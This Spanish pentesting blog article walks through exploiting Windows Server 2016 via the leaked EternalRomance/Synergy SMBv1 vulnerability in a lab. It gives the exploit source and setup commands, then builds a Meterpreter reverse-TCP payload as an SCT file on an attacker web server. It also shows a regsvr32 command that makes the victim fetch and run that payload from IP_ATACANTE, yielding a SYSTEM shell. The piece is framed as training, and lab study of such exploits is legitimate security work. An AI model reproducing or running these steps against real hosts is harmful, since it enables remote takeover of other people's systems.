
Artículo · Pentesting
Explotando Windows 2016 con EternalRomance/Synergy (NSA)
Como hemos comentado en post anteriores (Usando el exploit eternalblue de la NSA , Explotando Windows 2012 R2 con EternalBlue), los exploits desarrollados por la NSA, que se filtraron gracias al grupo Shadow Brokers, tuvieron mucho revuelo, ya que se aprovechaban de una vulnerabilidad situada en el protocolo SMBv1. Dicha vulnerabilidad fue utilizada por diversos tipos de Ransomwares (Wannacry) o Wipers (ExPetr/Petya/NotPetya).
Imagen 1 - Ransomware Wanna Cry
Imagen 2 - Wyper Petya
Como era de esperarse estos exploits siguieron siendo investigados, por diversos reverse engineers, uno de ellos es Sleepya, él había realizado anteriormente scripts que servían para explotar diversos Windows, en esta oportunidad sumó a su colección Windows 2016 (x64) y mejoró el rate de explotación(ver aquí), .
Ante esta noticia, una vez más Sheila Berta, se puso manos a la obra y realizó un paper (ver aquí) para demostrar cómo puede ser utilizado.
En esta ocasión vamos a demostrar rápidamente como funciona el script, para un nivel más detallado pueden ver los papers anteriormente nombrados y estos links de referencia:
:Laboratorio
Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con Kali 2017.1, y otra con un Windows 2016 (x64).
Imagen 3 - Windows 2016
La vulnerabilidad puede ser explotada en el caso de que esté activo el usuario Guest o bien hayamos recopilado previamente las credenciales de un usuario válido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de SYSTEM.
Ejemplo n° 1 (Archivo Txt)
Aquí vamos a demostrar rápidamente como se puede escribir un archivo de texto en el host víctima.
Primero deberemos descargar la carpeta donde se encuentran los scripts de Sleepya.
git clone https://github.com/worawit/MS17-010/
Imagen 4 - Descargar carpeta MS17-010
Entramos a la carpeta MS17-010 y allí creamos el archivo exploit.py con el codigo que figura en: https://www.exploit-db.com/exploits/42315/ (aunque por lo que estuve viendo el script zzz_exploit.py cumple con la misma función y tiene más líneas de código, donde se pueden ver algunos comentarios interesantes sobre el funcionamiento del script)
Imagen 5 - Creación de archivo exploit.py
Una vez creado el archivo, ingresamos y cargamos las credenciales que hayamos recopilado.
Imagen 6 - Ingreso de credenciales
Imagen 7 - Ejecución del exploit
Imagen 8 - Resultado: archivo pwned.txt creado
Ejemplo n° 2 (Meterpreter Shell)
A estas alturas ya podemos notar que hay muchas maneras de conseguir una shell, y terminar de comprometer el host, todo dependerá de nuestra imaginación.
Sheila en esta oportunidad nos ofrece la posibilidad de embeber una shellcode en un archivo .SCT.
El mismo deberá ser creado con Ps1encode, esta herramienta nos permite generar y codificar los PAYLOADS de metasploit en varios formatos basado en PowerShell.
(Leer los links de Referencia anteriormente mencionados)
Creación del PAYLOAD (Archivo SCT)
Descargar la herramienta PS1encode
git clone https://github.com/CroweCybersecurity/ps1encode
Crear el archivo SCT
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=IP_ATACANTE -- LPORT=4444 -t sct
Imagen 9 - Creación de archivo sct
Copiar el archivo index.sct en /var/www/html, dar los permisos necesarios y luego iniciar el servidor web apache2.
cp index.sct /var/www/html/
chmod +x index.sct
service apache2 start
Modificar exploit.py
Imagen 10 - exploit.py original
Cargar en el script:
regsvr32 /s /n /u /i:http://IP_ATACANTE/index.sct scrobj.dll
Imagen 11 - exploit.py modificado
Crear un Handler
Imagen 12 - Carga del Handler
EXPLOTAR
Imagen 13 - Meterpreter con permisos SYSTEM
Como podemos ver es una excelente manera de ejecutar un archivo de manera remota y conseguir una shell con permisos SYSTEM.
Recuerden que para profundizar más en el tema pueden leer todos los papers.
Los seguiremos manteniendo al tanto!
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Penetration Testing Student.

Escrito por
Andres GaleanoConsultor de seguridad informática
Consultor de seguridad informática. Especialista VOIP.



